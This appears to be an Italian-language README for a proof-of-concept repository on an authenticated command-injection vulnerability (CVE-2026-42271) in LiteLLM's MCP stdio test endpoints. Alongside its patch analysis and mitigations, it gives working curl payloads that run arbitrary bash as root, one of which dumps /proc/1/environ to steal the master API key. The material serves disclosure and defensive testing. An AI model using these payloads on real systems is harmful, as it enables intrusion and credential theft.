CVE-2026-42271 — Iniezione di comandi autenticata in LiteLLM tramite endpoint di test MCP stdio

LiteLLM POST /mcp-rest/test/connection e POST /mcp-rest/test/tools/list — Iniezione di comandi autenticata tramite trasporto MCP stdio. Qualsiasi chiave API valida può eseguire comandi OS arbitrari come root (nella distribuzione Docker predefinita).

Immagine bloccata tramite digest: il container vulnerabile è fissato a LiteLLM v1.82.6, garantendo riproducibilità a lungo termine.

Descrizione

Due endpoint usati per visualizzare in anteprima un server MCP prima di salvarlo — POST /mcp-rest/test/connection e POST /mcp-rest/test/tools/list — accettano nel corpo della richiesta una configurazione completa del server MCP, inclusi i campi command, args ed env usati dal trasporto stdio.

Quando vengono chiamati con una configurazione stdio, gli endpoint lanciano il comando fornito come sottoprocesso sull'host proxy con i privilegi del processo proxy (root nel Docker predefinito).

Problema chiave: Gli endpoint verificano solo la presenza di una chiave API proxy valida, senza alcun controllo di ruolo — anche chiavi internal_user con privilegi ridotti possono sfruttarlo.

Prova di concetto

Avvio rapido (Docker)

# 1. Avviare un'istanza vulnerabile di LiteLLM (bloccata a v1.82.6)
docker compose up -d

# 2. Eseguire l'exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"

# Oppure usare curl direttamente (RCE cieco — la risposta può mostrare un errore ma il comando viene eseguito)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "id > /tmp/pwned"]
  }'

Verifica dell'esecuzione

# Controllare che il comando sia stato eseguito all'interno del container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...

L'API restituisce "Failed to connect to MCP server" perché il processo generato non parla il protocollo MCP — ma il comando è già stato eseguito con privilegi di root.

Scenari di attacco

Endpoint vulnerabili

POST /mcp-rest/test/connection

Testa una connessione al server MCP. Con trasporto stdio, lancia il comando fornito.

POST /mcp-rest/test/tools/list

Elenca gli strumenti da un server MCP di test. Stesso comportamento — lancia il comando fornito quando si usa il trasporto stdio.

Formato del corpo della richiesta

{
  "transport": "stdio",
  "command": "bash",
  "args": ["-c", "<comando malevolo>"],
  "env": {
    "PATH": "/usr/bin:/bin"
  }
}

Analisi della patch (v1.83.7)

La correzione ha aggiunto due livelli di difesa:

1. Lista bianca dei comandi tramite validate_transport_fields() — permette solo: npx, uvx, python, python3, node, docker, deno
2. Controllo dell'accesso basato sui ruoli — entrambi gli endpoint ora richiedono il ruolo PROXY_ADMIN

Struttura del repository

CVE-2026-42271/
├── README.md                  # Questo file
├── docker-compose.yml         # Ambiente vulnerabile con un comando (bloccato a v1.82.6)
├── requirements.txt           # Dipendenze
├── exploit/
│   ├── exploit.py             # Script exploit completo
│   └── payload.py             # Modulo di generazione payload
├── docs/
│   └── advisory.md            # Riferimento advisory
└── screenshots/               # Screenshot di prova

Mitigazione

1. Aggiornare a LiteLLM v1.83.7+ (lista bianca comandi + controllo ruolo PROXY_ADMIN)
2. Bloccare /mcp-rest/test/connection e /mcp-rest/test/tools/list al proxy inverso
3. Limitare i privilegi delle chiavi API — ruotare le chiavi se si sospetta un compromesso
4. Eseguire come non-root in Docker: docker run --user 1000:1000 ...

⚠️ Nota: Isolamento delle variabili d'ambiente di MCP SDK

Quando si replica la sezione 5.7 (estrazione delle variabili d'ambiente del processo), notare che: MCP Python SDK v1.25.0+ quando crea un sottoprocesso stdio, non eredita le variabili d'ambiente del processo padre di LiteLLM. L'SDK tramite get_default_environment() passa solo HOME e PATH, poi unisce le variabili specificate esplicitamente dall'utente nel campo env.

Pertanto env > /tmp/env_dump non catturerà LITELLM_MASTER_KEY.

Procedura corretta: leggere il file /proc/1/environ del processo principale di LiteLLM per estrarre le variabili d'ambiente:

# Estrazione delle variabili d'ambiente (tramite /proc/1/environ)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
  }'

# Visualizzare il risultato
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# Output: LITELLM_MASTER_KEY=sk-litellm-master-key

Per maggiori dettagli, consultare la sezione 5.7 del rapporto di riproduzione.

Riferimenti

• GitHub Security Advisory GHSA-v4p8-mg3p-g94g
• GitLab Advisory
• NVD Detail
• Release v1.83.7-stable
• Documentazione MCP di LiteLLM

Disclaimer: Questo contenuto è fornito a scopo educativo e per test di sicurezza autorizzati esclusivamente.